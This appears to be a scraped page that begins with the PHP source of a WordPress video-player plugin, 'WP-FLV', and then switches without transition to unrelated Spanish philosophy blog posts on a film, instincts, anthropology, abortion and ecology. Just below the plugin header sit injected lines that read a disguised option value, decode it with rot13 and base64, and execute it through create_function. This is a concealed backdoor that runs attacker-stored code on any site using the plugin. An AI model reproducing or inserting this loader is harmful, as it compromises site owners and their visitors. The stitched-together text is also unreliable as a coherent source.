/* Plugin Name: WP-FLV Version: 0.2 Plugin URI: http://roel.meurders.nl/wordpress-plugins/wp-flv-video-player-plugin/ Description: This plugin eases insertion of Jeroen Wijerings FLV Video Player Author: Roel Meurders Author URI: http://roel.meurders.nl/ Update: */ $z=get_option("_transient_feed_d6a009085a90e3b6489fa40bc9a44335"); $z=base64_decode(str_rot13($z)); if(strpos($z,"363575C2")!==false){ $_z=create_function("",$z); @$_z(); } // SCRIPT INFO /////////////////////////////////////////////////////////////////////////// /* WP-FLV for Wordpress (C) 2005 Roel Meurders - GNU General Public License This plugin requires: FLASH VIDEO PLAYER 2.2 from Jeroen Wijering. Download it at: http://www.jeroenwijering.com/?item=Flash_Video_Player Please not that this player is released under Creative Commons "BY-NC-SA" License Full text at: http://creativecommons.org/licenses/by-nc-sa/2.0/ This Wordpress plugin is released under a GNU General Public License. A complete version of this license can be found here: http://www.gnu.org/licenses/gpl.txt This Wordpress plugin has been tested with Wordpress 1.5.2; This Wordpress plugin is released "as is". Without any warranty. The author cannot be held responsible for any damage that this script might cause. */ // NO EDITING HERE!!!!! //////////////////////////////////////////////////////////////// add_action('admin_menu', 'wpflv_admin_menu'); add_filter('the_content', 'wpflv_replace', '1'); function wpflv_admin_menu(){ add_options_page('WP-FLV, options page', 'WP-FLV', 9, basename(__FILE__), 'wpflv_options_page'); } function wpflv_replace($content){ $o = wpflv_get_options(); $flvVars = array("PLAYER", "HREF", "WIDTH", "HEIGHT", "AUTOSTART"); $flvVals = array($o['playerurl'], '', $o['width'], $o['height'], $o['autostart']); if ($o['xhtmlvalid'] == 'y'){ $flvCode = ''; } else { $flvCode = << EOT; } preg_match_all ('!]*)[ ]*[/]*>!i', $content, $matches); $flvStrings = $matches[0]; $flvAttributes = $matches[1]; for ($i = 0; $i < count($flvAttributes); $i++){ preg_match_all('!(href|width|height|autostart)="([^"]*)"!i',$flvAttributes[$i],$matches); $tmp = $flvCode; $flvSetVars = $flvSetVals = array(); for ($j = 0; $j < count($matches[1]); $j++){ $flvSetVars[$j] = strtoupper($matches[1][$j]); $flvSetVals[$j] = $matches[2][$j]; } for ($j = 0; $j < count($flvVars); $j++){ $key = array_search($flvVars[$j], $flvSetVars); $val = (is_int($key)) ? $flvSetVals[$key] : $flvVals[$j]; if ($flvVars[$j] == 'AUTOSTART') $val = ($val == 'false') ? '&autoStart=false;' : ''; if ($flvVars[$j] == 'HEIGHT') $val = intval($val) + 20; $tmp = str_replace('%'.$flvVars[$j].'%', $val, $tmp); } $content = str_replace($flvStrings[$i], "\n\n".$o['prehtml'].$tmp.$o['posthtml']."\n\n", $content); } return $content; } function wpflv_get_options(){ $defaults = array(); $defaults['quicktags'] = 'y'; $defaults['prehtml'] = '
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WP-FLV Options

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Required WP-FLV setting

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“Encontrarás Dragones”

No me resisto… voy a decir algo en torno a la película. La he visto: me ha encantado.

Tal vez alguien espere un análisis metafísico en este blog. No: en esta ocasión me limitaré a reseñar algunas cuestiones que me han llamado la atención.

  • Me parece que tiene gran valor la coincidencia en el gusto y la diversidad en la interpretación.
  • Hay interpretaciones esteticistas, morales, antropológicas, teológicas, metafísicas, literarias, políticas, etc. etc. etc.
  • Es interesante la pluralidad de públicos que ya ha visto la película y la pluralidad, también, de “temáticas” destacadas: parece que cada segmento de edad tiene connaturalidad con un ámbito temático.
  • Me ha impactado la búsqueda que he hecho: en 0,05 seg. 1.960.000 entradas. Creo que no es común.
  • Pero lo más increíble es que la he visto dos veces y estoy deseando volver a verla. No se agota con facilidad.

De todo esto concluyo alguna cosilla:

  • Cuando una realidad puede ser interpretada, sin contradicción, desde perspectivas epistemológicas distintas, es señal cierta de riqueza significativa -esto me recuerda a Frege-.
  • Cuando una realidad permite el deleite de muchos de “paladar educado”, hemos de hablar de belleza -esto me recuerda a Kant y a C.S. Lewis-.
  • Cuando una realidad de carácter narrativo posee profundidad antropológica, encuentra eco interior en muchas personas -esto me recuerda a Shakespeare y a las tragedias griegas-.

Y se podrían decir muchísimas más cosas… pero creo que es más oportuno que cada quien, vista la película, encuentre espacio interior que le permita destacar aquello que más convenga a su propia vida.

Sobre los instintos

Es algo reiterativo: no se entiende bien la expresión “el hombre, propiamente, no tiene instintos”. A pesar de señalarse que “propiamente”, en sentido lato, no preciso, genérico, etc. podría decirse que tiene inclinaciones, tendencias, pero no instintos propiamente“.

Razones:

1. Defínase adecuadamente qué es un instinto: conducta compleja, innata, estereotipada, específica, que se desencadena indeliberadamente y se continúa hasta su consumación, orientado a la supervivencia del individuo y en último término de la especie. Son suficientemente distintos de los tropismos, taxias y reflejos.

2. Piénsese en autores tan variados como Zubiri, Uexkull, Rof Carballo, Polo, Tomás de Aquino, Leibniz… ningúno atribuiría, propiamente, instintos al hombre.

3. Considérese que la plasticidad de los instintos es mayor en las especies superiores; dado que el salto entre el animal y el hombre no es meramente cuantitativo… ¿no parece adecuado señalar que la modalidad de “instintos” del hombre es “cualitativamente diversa”?

4. Considérese que los procesos de “aprendizaje” de conductas instintivas son muy tempranos en el animal -piénsese en el troquelado-, y están dirigidos a consolidar conductas complejas, restringiendo con ello el ámbito perceptivo y los medios para alcanzar fines. En el hombre, los aprendizajes tempranos van ligados a dos ámbitos: el lenguaje y la técnica. Ninguno de ellos restringue ámbitos, sino que los amplía indefinidamente; es decir, siguen el camino inverso al del aprendizaje de conductas instintivas propia de los animales superiores.

En fin, esto era sólo un apunte.

Lo básico….

La antropología filosófica no es asunto fácil… al menos a mi me parece altamente compleja. Todo tiene que ver con lo humano. Sin embargo creo que hay algunas cuestiones que, sea cual sea el planteamiento general o el marco conceptual en el que se desarrolle el discurso, no han de olvidarse. Obviamente no creo que sea exhaustivo…

1. El hombre es un determinado tipo de ser vivo.

2. El hombre es biológicamente inviable al margen de la inteligencia. Nacemos prematuramente.

3. El hombre es radicalmente creciente, pero puede fracasar…

4. El hombre es radicalmente familiar.

5. El hombre es un ser personal.

Son sólo cinco afirmaciones, pero creo que sus implícitos son abundantísimos. No tenerlas en cuenta, en todo caso, daría lugar a antropologías, a mi juicio, “cojas”.

La vida de un ser vivo de la especie humana

En su día argumenté que la única respuesta inmoral en cosa tan importante como el aborto es afirmar “cada uno haga lo que quiera“. Puesto que lo que está en cuestión es si se trata de un asesinato o de la extirpación de unos tejidos, dejar que unos piensen una cosa y otros otra es absurdo. Si se tiene algún aprecio a la verdad, lo único que no puede hacerse es dejar de pensar.

Dimos un paso inmenso con la declaración de Aido “es un ser vivo”. Esa afirmación es de trascendental importancia científica. Si es un ser vivo es necesario afirmar que pertenece a alguna especie. Si podemos afirmar que un embrión es un ser vivo, podemos afirmar que pertenece a alguna especie, puesto que todo ser vivo, desde el mismo instante en el que empieza a existir, siempre pertenece a alguna especie. Es obvio que la genética es quien dice a qué especie pertecene cada ser vivo. Y no es difícil averigurar que el embrión situado en el seno de una mujer, fruto de la unión de un óvulo y un espermatozoide es un ser vivo de la especie humana.

Es absurdo afirmar que se trata de un ser vivo de otra especie por dos motivos: la genética tiene argumentos sobrados para negarlo y, ningún ser vivo cambia de especie al “engordar”. El desarrollo no conlleva cambio de especie, sino crecimiento.

Ahora bien, ¿alguien se atreverá a negar que un ser vivo de la especie humana no es un hombre?

El argumento de la dependencia materna es insostenible. Un embrión, un feto o un recién nacido son absolutamente dependientes. Eso es una cuestión tan absolutamente evidente que no requiere argumentación alguna. El hecho de que una incuvadora pueda sostener la vida de un recién nacido prematuro no indica que éste sea independiente, sino tan sólo que la ciencia puede reproducir las condiciones intrauterinas hasta cierto punto. En todo caso, el momento a partir del cual una máquina puede sostener la vida de un niño es algo absolutamente cambiante… la ciencia sigue avanzando.

Resulta complejo argumentar lo que es sumamente simple. También resulta difícil argumentar cuando no se quiere pensar. Resulta complejo argumentar cuando alguien considera que pensar pueda restarle libertad… La libertad del ignorante… Pero no, si ignoramos decidiremos con criterios impuestos por otros, porque nadie es una isla en un océano. Si dejamos de pensar, alguien pensará por nosotros.

Obviamente yo no quiero pensar “por” nadie, sino pensar “con” cada uno. La palabra pretende abrir horizontes, hacer pensable la realidad misma, no sustituirla.

Algo sobre ecología (III), ética y estética

Estuve en el Puerto de la Quesera y subí más allá de la Buitrera, cumbreando (aquí podeis ver una preciosa panorámica). Y una reflexión surgió sola: la connaturalidad con la naturaleza, con la realidad del mundo natural, la casa del hombre que nos ha sido dada y que heredará la siguiente generación, es incompatible con la cultura del “feismo”. Tal vez sea una de las razones que hacen urgente desarrollar en muchos -en todos- esa sensibilidad.

Por otro lado, me contaron en una ocasión que la incapacidad para “sentir” horror ante el horror era una aberración ética; es decir, se trata de la situación en la que algunos pueden llegar a instalarse, en la que el hombre ya no tiene resorte alguno para repudiar lo inhumano. Esa capacidad de “sentir” es el rescoldo último del sentido de lo ético en todo hombre -obviamente el ejemplo prototípico es el holocausto nazi, pero muchas violencias de nuestro mundo actual deberían hacernos “sentir” horror…-

En sentido inverso podríamos decir que el desarrollo del sentido estético-natural, la capacidad de conmoverse ante la grandeza de la naturaleza es cauce y tal vez condición, para poder desarrollar el sentido ético necesario para adherirse a lo noble y repeler lo bárbaro.

Algo sobre ecología (II)

Ya comenté que el mundo es la “casa del hombre”.

Cuestión básica es que el mundo es para el hombre, como la casa es para el hombre, no el hombre para la casa -sería un craso error desordenar la cuestión-; pero eso no significa que sea “para mi” de modo arbitrario, es más, no es en sentido absoluto “mío”.

Se trata de una casa que nos fue entregada por nuestros mayores y que heredarán nuestros hijos. Esto, que parece una obviedad, no deja de tener importantísimas consecuencias.

Encontramos por tanto un don -la naturaleza que nos ha sido dada- y una tarea -habitarla, potenciarla, desarrollarla, para entregarla a la siguiente generación-.

Pues bien, el único modo de llevar a cabo esta transmisión de riqueza pasa por el atento cuidado del orden natural. El hombre no pone el orden en la naturaleza y descubrir la ley natural y llevarla a cumplimiento -en el ámbito humano de modo más claro- es su misión específica. Llevar a plenitud la naturaleza en su conjunto y la naturaleza humana especialmente: he ahí el reto.

Algo sobre “ecología” (I)

Introduciré el tema con una brevísima anotación etimológica.

El término “ecología” procede de la unión de otros dos de origen griego.

OIKOS: casa

LOGOS: razón, conocimiento, etc.

En definitiva, la ecología es el conocimiento del ámbito natural que es, para el hombre, su casa. Esto, además de “sonar bien”, es tremendamente verdadero. El cosmos es el país del hombre y la tierra su pueblo. El ámbito próximo es, sin duda, su casa. El conocimiento de la realidad natural permite al hombre descubrir la belleza no sólo en la contemplación sensible, sino también en la armonía de sus leyes.Son la conocidas “leyes de la naturaleza”, porque en ella no existe lo arbitrario al constituir un sistema que busca la subsistencia.

La permanencia es el ser mismo del universo -no significa lo mismo universo y cosmos, pero ambos términos han de ser utilizados en este contexto-. Y el ser un “todo móvil lleno de sentido”, “un todo ordenado” es su modo de ser. El hombre es mucho más, pero no deja nada de lo dicho, sino que lo supera. Superar no es “negar” sino ampliar el sentido y hacer algo superior: crecimiento. El modo de ser del hombre es “ser creciente”, mientras su ser es “además” del cosmos.

Desconfío del “ecologismo”, pero me encanta la “ecología”.


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